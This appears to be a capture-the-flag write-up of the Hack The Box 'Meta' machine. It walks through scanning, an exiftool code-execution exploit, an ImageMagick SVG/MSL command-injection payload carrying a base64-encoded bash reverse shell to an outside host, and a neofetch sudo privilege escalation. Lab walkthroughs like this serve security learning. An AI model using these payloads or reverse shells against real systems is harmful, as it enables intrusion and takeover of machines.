Summary
Foothold
We start out with a nmap port scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bitis㉿workstation)-[~/htb/Machines/meta]
└─$ nmap -sC -sV 10.129.83.137
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-24 15:13 CEST
Nmap scan report for 10.129.83.137
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.35 seconds
The box has two open ports, 22 nad 80. We can see based on the scan that the web application hosted on port 80 redirects to http://artcorp.htb so let’s add it to our hosts file. We can then use gobuster to enumerate vhosts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(bitis㉿workstation)-[~/Coding/BitisG.github.io]
└─$ gobuster vhost -u artcorp.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://artcorp.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/06/24 15:47:54 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev01.artcorp.htb (Status: 200) [Size: 247]
===============================================================
2022/06/24 15:48:25 Finished
===============================================================
Visiting dev01.artcorp.htb gets us to the following page
dev01 welcome page
Taking a look at the Metaview application, it seems that it simply takes a png/jpg and runs exiftool on it.
Searching for vulnerabilities in exiftool leads us to the following github repository. A quick TL;DR of the exploit: in older versions of exiftool, if an image contained djvu data it would be impoperly handled, leading to code execution. We can leverage this into getting a reverse shell on the box.
1
2
3
4
5
6
7
8
┌──(bitis㉿workstation)-[~/htb/Machines/meta/CVE-2021-22204-exiftool]
└─$ nc -lvnp 9090
listening on [any] 9090 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.83.137] 42948
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Pivot
Now that we have access as www-data on the box, it is time to get access to a proper user account. We can run pspy to see if there are any interesting processes being run on the box.
1
2
3
4
2022/06/24 08:20:01 CMD: UID=0 PID=2038 | cp -rp /root/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf
2022/06/24 08:20:01 CMD: UID=1000 PID=2039 | /bin/bash /usr/local/bin/convert_images.sh
2022/06/24 08:20:01 CMD: UID=1000 PID=2040 | /usr/local/bin/mogrify -format png *.*
2022/06/24 08:20:01 CMD: UID=1000 PID=2041 | /bin/bash /usr/local/bin/convert_images.sh
As we can see, root is messing around with neofetch for some reason, and the user with UID 1000 is running a script named convert_images.sh. The contents of the script can be found below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ww-data@meta:/var/www/dev01.artcorp.htb/metaview$ cd /usr/local/bin
cd /usr/local/bin
www-data@meta:/usr/local/bin$ ls
ls
Magick++-config compare convert_images.sh import montage
MagickCore-config composite display magick stream
MagickWand-config conjure exiftool magick-script
animate convert identify mogrify
www-data@meta:/usr/local/bin$ cat convert_images.sh
cat convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
www-data@meta:/usr/local/bin$
As we can see it is a rather straightforward oneliner. If we take a look at the other files found in the directory where the script is found we might be lead to belive that the system is using imagemagick to perform actions on user submitted images. This points us towards imagetragick. More specifically, the version of mogrify reveals that the box is using imagemagick version 7.0.10-36. Searching around for related exploits and proof-of-concepts gives us the following post, revealing that we can use an XML file to inject commands. I base64 encoded a reverse shell and uploaded the following xml file as a svg to the target system.
<image authenticate='ff" `echo
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgJj4vZGV2L3RjcC8xMC4xMC4xNy4xODIvMTMzNyAwPiYxJwo=|base64 -d|bash`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:shup.svg" height="100" width="100"/>
</svg>
</image>
Once the cron job has run we get a reverse shell:
1
2
3
4
5
6
7
┌──(bitis㉿workstation)-[~]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.83.137] 39694
bash: cannot set terminal process group (2641): Inappropriate ioctl for device
bash: no job control in this shell
thomas@meta:/var/www/dev01.artcorp.htb/convert_images$
Privilege escalation
Running sudo -l we get the following output:
1
2
3
4
5
6
7
thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta:
(root) NOPASSWD: /usr/bin/neofetch \"\"
thomas@meta:~$
We can neofetch as root. The interesting thing to note here is that we get to keep the value of the environmentv alue XDG_CONFIG_HOME Reading the documentation, this variable “defines the base directory relative to which user-specific configuration files should be stored. If $XDG_CONFIG_HOME is either not set or empty, a default equal to $HOME/.config should be used”. Since it is not set currently, this means that when we run neofetch, the config file is fetched from /root/.config. If we create a bash script somewhere and then replace the config file for neofetch with it, the content of the file will be executed. Assuming of course that we set the path to the script correctly prior to execution.
1
2
3
4
thomas@meta:~/.config/neofetch$ echo "exec /bin/bash" > config.conf
thomas@meta:~$ export XDG_CONFIG_HOME=~/.config/
thomas@meta:~$ sudo neofetch
root@meta:/home/thomas#
Rooted!